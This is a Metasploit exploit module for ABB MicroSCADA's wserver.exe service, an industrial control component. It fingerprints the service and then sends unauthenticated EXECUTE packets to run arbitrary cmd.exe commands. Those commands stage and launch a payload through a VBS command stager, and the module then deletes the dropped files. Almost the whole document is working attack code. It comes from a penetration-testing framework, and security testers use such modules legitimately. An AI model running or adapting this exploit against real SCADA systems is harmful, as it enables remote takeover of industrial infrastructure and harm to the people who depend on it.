## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution', 'Description' => %q{ This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe component, which allows arbitrary commands. The component is disabled by default, but required when a project uses the SCIL function WORKSTATION_CALL. This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brian Gorenc', # Original discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '100324'], [ 'ZDI', '13-270' ], [ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf'] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Targets' => [ [ 'ABB MicroSCADA Pro SYS600 9.3', { } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 05 2013' )) register_options([Opt::RPORT(12221)], self.class) end def check # Send an EXECUTE packet without command, a valid response # should include an error code, which is good enough to # fingerprint. op = "EXECUTE\x00" pkt_length = [4 + op.length].pack("V") # 4 because of the packet length pkt = pkt_length pkt << op connect sock.put(pkt) res = sock.get_once disconnect if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001 return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit # More then 750 will trigger overflow... # Cleaning is done by the exploit on execute_cmdstager_end execute_cmdstager({:linemax => 750, :nodelete => true}) end def execute_cmdstager_end(opts) @var_tempdir = @stager_instance.instance_variable_get(:@tempdir) @var_decoded = @stager_instance.instance_variable_get(:@var_decoded) @var_encoded = @stager_instance.instance_variable_get(:@var_encoded) @var_decoder = @stager_instance.instance_variable_get(:@var_decoder) print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...") execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {}) print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...") execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {}) print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...") execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {}) end def execute_command(cmd, opts) op = "EXECUTE\x00" command = "cmd.exe /c #{cmd}" pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length pkt = pkt_length pkt << op pkt << command connect sock.put(pkt) res = sock.get_once disconnect unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1 fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager") end end end